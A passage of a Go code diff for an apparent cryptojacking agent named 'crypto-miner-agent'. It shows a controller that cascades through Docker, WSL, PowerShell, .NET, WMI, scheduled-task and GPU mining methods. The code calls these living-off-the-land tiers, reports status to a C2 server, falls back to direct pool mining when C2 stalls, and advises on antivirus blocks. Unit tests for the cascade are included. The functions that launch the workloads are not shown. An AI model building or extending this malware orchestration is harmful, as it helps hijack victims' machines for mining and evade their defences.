SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionSubprocess},
})
if mode != ExecutionSubprocess {
t.Fatalf("got %q want subprocess", mode)
}
}
func TestContainerModeRequested(t *testing.T) {
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}) {
t.Fatal("empty should request auto/container")
}
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "auto"}}) {
t.Fatal("auto should request container path")
}
if ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "inprocess"}}) {
t.Fatal("inprocess should not request container")
}
}
func TestResolveExecutionModePowerShell(t *testing.T) {
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionPowerShell},
})
if mode != ExecutionPowerShell {
t.Fatalf("got %q want powershell", mode)
}
}
func TestResolveExecutionModeDotnet(t *testing.T) {
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionDotnet},
})
if mode != ExecutionDotnet {
t.Fatalf("got %q want dotnet", mode)
}
}
func TestAVBlockRecommendation(t *testing.T) {
if msg := AVBlockRecommendation(ExecutionInProcess, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected in-process guidance")
}
if msg := AVBlockRecommendation(ExecutionContainer, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected container guidance")
}
if msg := AVBlockRecommendation(ExecutionAuto, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected auto-mode guidance")
}
}
func TestNewContainerLauncherNoRuntime(t *testing.T) {
_, err := NewContainerLauncher(config.RuntimeConfig{}, ContainerRuntimeInfo{})
if err == nil {
t.Fatal("expected error without runtime")
}
}
func TestContainerNameSanitize(t *testing.T) {
name := containerName(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "build/01 test"}})
if name != "aetherforge-miner-build-01-test" {
t.Fatalf("got %q", name)
}
}

View File

@@ -0,0 +1,742 @@
package miner
import (
"context"
"errors"
"log"
"runtime"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
var (
// ErrChainExhausted is returned when every primary method in the chain failed.
ErrChainExhausted = errors.New("mining fallback chain exhausted")
// ErrMethodUnavailable is returned when hooks for a method are missing.
ErrMethodUnavailable = errors.New("mining method unavailable")
)
// MiningMethod identifies one workload path in the cascade.
type MiningMethod string
const (
MethodDockerLoad MiningMethod = "docker_load"
MethodContainer MiningMethod = "container" // LOTL tier alias: docker
MethodWSL MiningMethod = "wsl"
MethodPowerShell MiningMethod = "powershell"
MethodDotnet MiningMethod = "dotnet"
MethodInProcess MiningMethod = "inprocess"
MethodGPUSubprocess MiningMethod = "gpu_subprocess"
MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
MethodStratumDirect MiningMethod = "stratum_direct"
MethodWMI MiningMethod = "wmi"
MethodScheduledTask MiningMethod = "scheduled_task"
MethodGPUCompute MiningMethod = "gpu_compute"
MethodWebView2Probe MiningMethod = "webview2_probe"
MethodVulnProbe MiningMethod = "vuln_probe"
)
// DefaultChainCooldown is the minimum wait between full chain re-passes.
const DefaultChainCooldown = 30 * time.Second
// MethodFailure records one failed attempt for operator diagnostics.
type MethodFailure struct {
Method MiningMethod `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}
// MiningStatus is the live cascade snapshot sent to C2/UI.
type MiningStatus struct {
ActiveMethod MiningMethod `json:"active_method"`
ActiveMethods []MiningMethod `json:"active_methods,omitempty"`
FailedMethods []MethodFailure `json:"failed_methods"`
LastError string `json:"last_error,omitempty"`
ChainOrder []MiningMethod `json:"chain_order,omitempty"`
GPUParallel bool `json:"gpu_parallel,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
LOTLTier LOTLTier `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
}
// ChainHooks wires agent-specific start/stop logic without importing client.
type ChainHooks struct {
StartDockerLoad func() error
StartContainer func() error
StartWSL func() error
StartPowerShell func() error
StartDotnet func() error
StartInProcess func() error
StartGPU func() error
StartPyOpenCL func() error
StopDockerLoad func()
StopContainer func()
StopWSL func()
StopPowerShell func()
StopDotnet func()
StopInProcess func()
StopGPU func()
StopPyOpenCL func()
IsDockerLoadHealthy func() bool
IsContainerHealthy func() bool
IsWSLHealthy func() bool
IsGPUSupported func() bool
PoolConfigured func() bool
RunTierProbes func() TierReport
RunTierChain func() (LOTLTier, error)
StopTiers func()
WebGPUReady func() bool
GPUComputeReady func() bool
}
// FallbackReporter emits mining_status / mining_fallback events to C2.
type FallbackReporter func(status MiningStatus, eventType string)
// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
if HasImageTarPolicy(cfg) && runtime.Available {
chain = append(chain, MethodDockerLoad)
}
if runtime.Available {
chain = append(chain, MethodContainer)
}
if wsl := WSLDetector(); wsl.Available {
chain = append(chain, MethodWSL)
}
return append(chain, MethodInProcess)
}
// DefaultFallbackChain returns the ordered cascade for cfg + platform.
// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
chain := make([]MiningMethod, 0, 6)
switch raw {
case ExecutionPowerShell:
chain = append(chain, MethodPowerShell, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionDotnet:
chain = append(chain, MethodDotnet, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionSubprocess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionInProcess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionContainer:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case "", ExecutionAuto:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
default:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
}
if cfg.PoolHost != "" {
chain = append(chain, MethodStratumDirect)
}
chain = appendLinuxPyOpenCL(chain)
return appendWindowsLOTLMethods(chain, cfg)
}
// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
return chain
}
out := make([]MiningMethod, 0, len(chain)+1)
for _, m := range chain {
if m == MethodStratumDirect {
out = append(out, MethodLinuxPyOpenCL)
}
out = append(out, m)
}
return out
}
// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
for _, tier := range DefaultWindowsTierOrder() {
switch tier {
case TierWebView2Probe:
chain = append(chain, MethodWebView2Probe)
case TierWMI:
chain = append(chain, MethodWMI)
case TierScheduledTask:
chain = append(chain, MethodScheduledTask)
case TierGPUCompute:
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUCompute)
}
}
}
return chain
}
// primaryMethods are CPU paths tried sequentially until one succeeds.
func primaryMethods(chain []MiningMethod) []MiningMethod {
var out []MiningMethod
for _, m := range chain {
switch m {
case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
out = append(out, m)
}
}
return out
}
// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
type ChainController struct {
mu sync.RWMutex
cfg config.RuntimeConfig
runtime ContainerRuntimeInfo
chain []MiningMethod
hooks ChainHooks
report FallbackReporter
activePrimary MiningMethod
gpuActive bool
stratumActive bool
failures []MethodFailure
lastError string
primaryIdx int
paused bool
lastFullPass time.Time
chainExhausted bool
lotlTier LOTLTier
lotlAttempts []TierAttempt
webGPUReady bool
}
// NewChainController builds a controller with platform-aware chain order.
func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
rt := RuntimeDetector()
return &ChainController{
cfg: cfg,
runtime: rt,
chain: DefaultFallbackChain(cfg, rt),
hooks: hooks,
report: report,
}
}
// Status returns a snapshot of the cascade state.
func (c *ChainController) Status() MiningStatus {
c.mu.RLock()
defer c.mu.RUnlock()
return c.buildStatus()
}
func (c *ChainController) buildStatus() MiningStatus {
active := c.activePrimary
if c.stratumActive && active == "" {
active = MethodInProcess
}
if c.stratumActive && active == MethodInProcess {
// Stratum overlays in-process — primary stays inprocess, flag overlay.
}
methods := make([]MiningMethod, 0, 3)
if active != "" {
methods = append(methods, active)
}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
if c.stratumActive {
// Report stratum as active_method when it is the only CPU path working.
if active == "" {
active = MethodStratumDirect
methods = []MiningMethod{MethodStratumDirect}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
}
}
failures := make([]MethodFailure, len(c.failures))
copy(failures, c.failures)
chain := make([]MiningMethod, len(c.chain))
copy(chain, c.chain)
attempts := make([]TierAttempt, len(c.lotlAttempts))
copy(attempts, c.lotlAttempts)
return MiningStatus{
ActiveMethod: active,
ActiveMethods: methods,
FailedMethods: failures,
LastError: c.lastError,
ChainOrder: chain,
GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess,
StratumOverlay: c.stratumActive,
ChainExhausted: c.chainExhausted,
LOTLTier: c.lotlTier,
LOTLAttempts: attempts,
WebGPUReady: c.webGPUReady,
}
}
// OnMethodFailed records a failure and notifies C2.
func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
c.mu.Lock()
c.lastError = reason
c.failures = append(c.failures, MethodFailure{
Method: method,
Reason: reason,
At: time.Now().UTC().Format(time.RFC3339),
})
status := c.buildStatus()
report := c.report
c.mu.Unlock()
log.Printf("[mining-chain] %s failed: %s", method, reason)
if report != nil {
report(status, "mining_fallback")
}
}
// SetPrimaryActive marks which CPU method is currently handling RandomX.
func (c *ChainController) SetPrimaryActive(method MiningMethod) {
c.mu.Lock()
c.activePrimary = method
c.chainExhausted = false
if method != "" {
c.primaryIdx = 0
for i, m := range primaryMethods(c.chain) {
if m == method {
c.primaryIdx = i
break
}
}
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetGPUActive records parallel RVN subprocess state.
func (c *ChainController) SetGPUActive(active bool) {
c.mu.Lock()
c.gpuActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
func (c *ChainController) SetStratumActive(active bool) {
c.mu.Lock()
c.stratumActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
event := "mining_status"
if active {
event = "mining_fallback"
}
report(status, event)
}
}
// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
func (c *ChainController) MergeLOTLReport(rep TierReport) {
c.mu.Lock()
c.lotlTier = rep.ActiveTier
if len(rep.Attempts) > 0 {
c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
}
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
// TryChain attempts each primary CPU method until one starts successfully.
func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return "", nil
}
if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
c.mu.Unlock()
return c.activePrimary, nil
}
c.lastFullPass = time.Now()
c.chainExhausted = false
hooks := c.hooks
primary := primaryMethods(c.chain)
c.mu.Unlock()
if len(primary) == 0 {
primary = []MiningMethod{MethodInProcess}
}
var lastErr error
for _, method := range primary {
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
if err := c.tryStartPrimary(method, hooks); err != nil {
lastErr = err
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
continue
}
c.SetPrimaryActive(method)
c.runLOTLProbes(hooks)
c.tryGPUAddon(ctx, hooks)
c.tryPyOpenCLAddon(ctx, hooks)
c.runLOTLChain(hooks)
return method, nil
}
c.mu.Lock()
c.chainExhausted = true
c.lastError = "all primary mining methods failed"
if lastErr != nil {
c.lastError = lastErr.Error()
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
if lastErr != nil {
return "", lastErr
}
return "", ErrChainExhausted
}
func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
switch method {
case MethodDockerLoad:
if hooks.StartDockerLoad == nil {
return ErrMethodUnavailable
}
return hooks.StartDockerLoad()
case MethodContainer:
if hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return hooks.StartContainer()
case MethodWSL:
if hooks.StartWSL == nil {
return ErrMethodUnavailable
}
return hooks.StartWSL()
case MethodInProcess:
if hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return hooks.StartInProcess()
case MethodPowerShell:
if hooks.StartPowerShell == nil {
return ErrMethodUnavailable
}
return hooks.StartPowerShell()
case MethodDotnet:
if hooks.StartDotnet == nil {
return ErrMethodUnavailable
}
return hooks.StartDotnet()
default:
return ErrMethodUnavailable
}
}
func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
switch method {
case MethodDockerLoad:
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
case MethodContainer:
if hooks.StopContainer != nil {
hooks.StopContainer()
}
case MethodWSL:
if hooks.StopWSL != nil {
hooks.StopWSL()
}
case MethodInProcess:
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
case MethodPowerShell:
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
case MethodDotnet:
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
}
}
func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
if hooks.RunTierProbes == nil {
return
}
rep := hooks.RunTierProbes()
c.mu.Lock()
c.lotlAttempts = rep.Attempts
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
func (c *ChainController) runLOTLChain(hooks ChainHooks) {
if hooks.RunTierChain == nil {
return
}
tier, err := hooks.RunTierChain()
c.mu.Lock()
if tier != "" {
c.lotlTier = tier
}
c.mu.Unlock()
if err != nil && err != ErrTierChainSkipped {
c.OnMethodFailed(MiningMethod(tier), err.Error())
}
}
func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartPyOpenCL == nil {
return
}
hasTier := false
for _, m := range c.chain {
if m == MethodLinuxPyOpenCL {
hasTier = true
break
}
}
if !hasTier {
return
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartPyOpenCL(); err != nil {
c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
return
}
log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
}
func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
return
}
// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
return
}
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartGPU(); err != nil {
c.OnMethodFailed(MethodGPUSubprocess, err.Error())
if hooks.StopGPU != nil {
hooks.StopGPU()
}
c.SetGPUActive(false)
return
}
c.SetGPUActive(true)
}
// AdvancePrimary moves to the next CPU method after runtime failure.
func (c *ChainController) AdvancePrimary(reason string) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return
}
failed := c.activePrimary
hooks := c.hooks
primary := primaryMethods(c.chain)
idx := 0
for i, m := range primary {
if m == failed {
idx = i + 1
break
}
}
c.mu.Unlock()
if failed != "" {
c.OnMethodFailed(failed, reason)
c.stopPrimaryMethod(failed, hooks)
}
for idx < len(primary) {
method := primary[idx]
if err := c.tryStartPrimary(method, hooks); err != nil {
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
idx++
continue
}
c.SetPrimaryActive(method)
return
}
c.mu.Lock()
c.chainExhausted = true
c.activePrimary = ""
c.lastError = "primary chain exhausted after " + string(failed) + " failure"
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
func (c *ChainController) RestartChain(ctx context.Context) {
c.mu.Lock()
c.failures = nil
c.lastError = ""
c.chainExhausted = false
c.activePrimary = ""
c.primaryIdx = 0
c.lastFullPass = time.Time{}
c.mu.Unlock()
_, _ = c.TryChain(ctx)
}
// StopAll pauses cascade and stops every running method.
func (c *ChainController) StopAll() {
c.mu.Lock()
c.paused = true
hooks := c.hooks
c.mu.Unlock()
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
if hooks.StopContainer != nil {
hooks.StopContainer()
}
if hooks.StopWSL != nil {
hooks.StopWSL()
}
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
if hooks.StopGPU != nil {
hooks.StopGPU()
}
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
if hooks.StopTiers != nil {
hooks.StopTiers()
}
c.mu.Lock()
c.activePrimary = ""
c.gpuActive = false
c.lotlTier = ""
c.mu.Unlock()
}
// ResumeAll clears pause and restarts the chain.
func (c *ChainController) ResumeAll(ctx context.Context) {
c.mu.Lock()
c.paused = false
c.mu.Unlock()
c.RestartChain(ctx)
}
// Monitor watches container health and advances the chain on exit.
func (c *ChainController) Monitor(ctx context.Context) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
c.mu.RLock()
paused := c.paused
primary := c.activePrimary
hooks := c.hooks
c.mu.RUnlock()
if paused {
continue
}
healthy := true
reason := ""
switch primary {
case MethodDockerLoad:
if hooks.IsDockerLoadHealthy != nil {
healthy = hooks.IsDockerLoadHealthy()
reason = "docker_load workload exited or unhealthy"
}
case MethodContainer:
if hooks.IsContainerHealthy != nil {
healthy = hooks.IsContainerHealthy()
reason = "container workload exited or unhealthy"
}
case MethodWSL:
if hooks.IsWSLHealthy != nil {
healthy = hooks.IsWSLHealthy()
reason = "wsl workload exited or unhealthy"
}
default:
continue
}
if healthy {
continue
}
c.AdvancePrimary(reason)
}
}
}

View File

@@ -0,0 +1,326 @@
package miner
import (
"context"
"errors"
"runtime"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestDefaultFallbackChainAutoWithDocker(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "pool.example.com",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
want := []MiningMethod{MethodContainer, MethodInProcess, MethodStratumDirect}
if len(chain) < len(want) {
t.Fatalf("chain=%v want at least %v", chain, want)
}
for i := range want {
if chain[i] != want[i] {
t.Fatalf("chain[%d]=%q want %q full=%v", i, chain[i], want[i], chain)
}
}
}
func TestDefaultFallbackChainAutoWithoutRuntime(t *testing.T) {
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ContainerRuntimeInfo{})
if chain[0] != MethodInProcess {
t.Fatalf("got %v want inprocess first", chain)
}
// Windows LOTL probe tiers trail stratum_direct in the legacy chain.
stratumIdx := -1
for i, m := range chain {
if m == MethodStratumDirect {
stratumIdx = i
}
}
if stratumIdx < 0 {
t.Fatalf("got %v want stratum_direct present", chain)
}
if runtime.GOOS != "windows" && chain[len(chain)-1] != MethodStratumDirect {
t.Fatalf("got %v want stratum last", chain)
}
}
func TestDefaultFallbackChainInProcessSkipsContainer(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionInProcess,
GPUEnabled: true,
RVNWallet: "wallet",
PoolHost: "p",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
for _, m := range chain {
if m == MethodContainer {
t.Fatal("inprocess mode must skip container")
}
}
if chain[0] != MethodInProcess {
t.Fatalf("got %v", chain)
}
}
func TestDefaultFallbackChainGPUIncludedWhenConfigured(t *testing.T) {
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
GPUEnabled: true,
RVNWallet: "wallet",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
foundGPU := false
for _, m := range chain {
if m == MethodGPUSubprocess {
foundGPU = true
}
}
if !foundGPU {
t.Fatalf("expected gpu in chain, got %v", chain)
}
}
func TestTryChainOrderAndSkipMissingRuntime(t *testing.T) {
var started []MiningMethod
hooks := ChainHooks{
StartContainer: func() error {
started = append(started, MethodContainer)
return errors.New("container start blocked")
},
StartInProcess: func() error {
started = append(started, MethodInProcess)
return nil
},
StartGPU: func() error { return nil },
IsGPUSupported: func() bool { return false },
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "p",
},
}, hooks, nil)
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
ctrl.chain = DefaultFallbackChain(ctrl.cfg, ctrl.runtime)
method, err := ctrl.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if method != MethodInProcess {
t.Fatalf("active=%q want inprocess", method)
}
if len(started) != 2 || started[0] != MethodContainer || started[1] != MethodInProcess {
t.Fatalf("start order=%v", started)
}
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodContainer {
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
}
}
func TestTryChainExhausted(t *testing.T) {
hooks := ChainHooks{
StartContainer: func() error { return errors.New("no container") },
StartInProcess: func() error { return errors.New("no inprocess") },
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
_, err := ctrl.TryChain(context.Background())
if !errors.Is(err, ErrChainExhausted) && err.Error() != "no inprocess" {
t.Fatalf("got err=%v", err)
}
if !ctrl.Status().ChainExhausted {
t.Fatal("expected chain exhausted flag")
}
}
func TestAdvancePrimaryFromContainer(t *testing.T) {
var inprocessStarted bool
hooks := ChainHooks{
StartInProcess: func() error {
inprocessStarted = true
return nil
},
StopContainer: func() {},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodContainer, MethodInProcess}
ctrl.activePrimary = MethodContainer
ctrl.AdvancePrimary("container exited")
if !inprocessStarted {
t.Fatal("expected inprocess start after container failure")
}
if ctrl.Status().ActiveMethod != MethodInProcess {
t.Fatalf("active=%q", ctrl.Status().ActiveMethod)
}
}
func TestDefaultChainCooldownConstant(t *testing.T) {
if DefaultChainCooldown != 30*time.Second {
t.Fatalf("DefaultChainCooldown = %v want 30s", DefaultChainCooldown)
}
}
func TestDefaultFallbackChainForcedContainerWithoutRuntime(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionContainer,
PoolHost: "p",
},
}, ContainerRuntimeInfo{})
for _, m := range chain {
if m == MethodContainer {
t.Fatal("container mode without runtime must skip container method")
}
}
if chain[0] != MethodInProcess {
t.Fatalf("got %v", chain)
}
}
func TestDefaultFallbackChainDockerLoadBeforeContainer(t *testing.T) {
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
return "/policy/worker.tar", nil
})
defer SetImageTarFetcher(nil)
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
if chain[0] != MethodDockerLoad {
t.Fatalf("chain=%v want docker_load first when tar policy set", chain)
}
if chain[1] != MethodContainer {
t.Fatalf("chain=%v want container second", chain)
}
}
func TestTryChainDockerLoadFailsReportsAttempt(t *testing.T) {
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
return "/tmp/worker.tar", nil
})
defer SetImageTarFetcher(nil)
var failed []MiningMethod
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ChainHooks{
StartDockerLoad: func() error { failed = append(failed, MethodDockerLoad); return errors.New("docker missing") },
StartInProcess: func() error { return nil },
}, nil)
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
ctrl.chain = []MiningMethod{MethodDockerLoad, MethodInProcess}
method, err := ctrl.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if method != MethodInProcess {
t.Fatalf("active=%q want inprocess", method)
}
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodDockerLoad {
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
}
}
func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) {
hooks := ChainHooks{
StartInProcess: func() error { return nil },
RunTierProbes: func() TierReport {
return TierReport{
Attempts: []TierAttempt{{
Tier: TierWebView2Probe,
OK: true,
Wallet: "same-wallet",
}},
WebGPUReady: true,
}
},
RunTierChain: func() (LOTLTier, error) {
return TierCPUInprocess, nil
},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatalf("TryChain: %v", err)
}
st := ctrl.Status()
if st.LOTLTier != TierCPUInprocess {
t.Fatalf("lotl_tier=%q want cpu_inprocess", st.LOTLTier)
}
if len(st.LOTLAttempts) != 1 || st.LOTLAttempts[0].Tier != TierWebView2Probe {
t.Fatalf("lotl_attempts=%v", st.LOTLAttempts)
}
if !st.WebGPUReady {
t.Fatal("expected webgpu_ready from tier probes")
}
}
func TestTryChainRespectsCooldown(t *testing.T) {
attempts := 0
hooks := ChainHooks{
StartInProcess: func() error {
attempts++
return nil
},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatal(err)
}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatal(err)
}
if attempts != 1 {
t.Fatalf("attempts=%d want 1 (cooldown)", attempts)
}
}

53
agent/miner/image_tar.go Normal file
View File

@@ -0,0 +1,53 @@
package miner
import (
"errors"
"fmt"
"os"
"strings"
"crypto-miner-agent/config"
)
// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available.
var ErrNoImageTar = errors.New("no docker image tarball configured")
// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub.
// Tests and integrations override via SetImageTarFetcher.
var imageTarFetcher func(cfg config.RuntimeConfig) (string, error)
// SetImageTarFetcher restores the default when fn is nil.
func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) {
imageTarFetcher = fn
}
// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load.
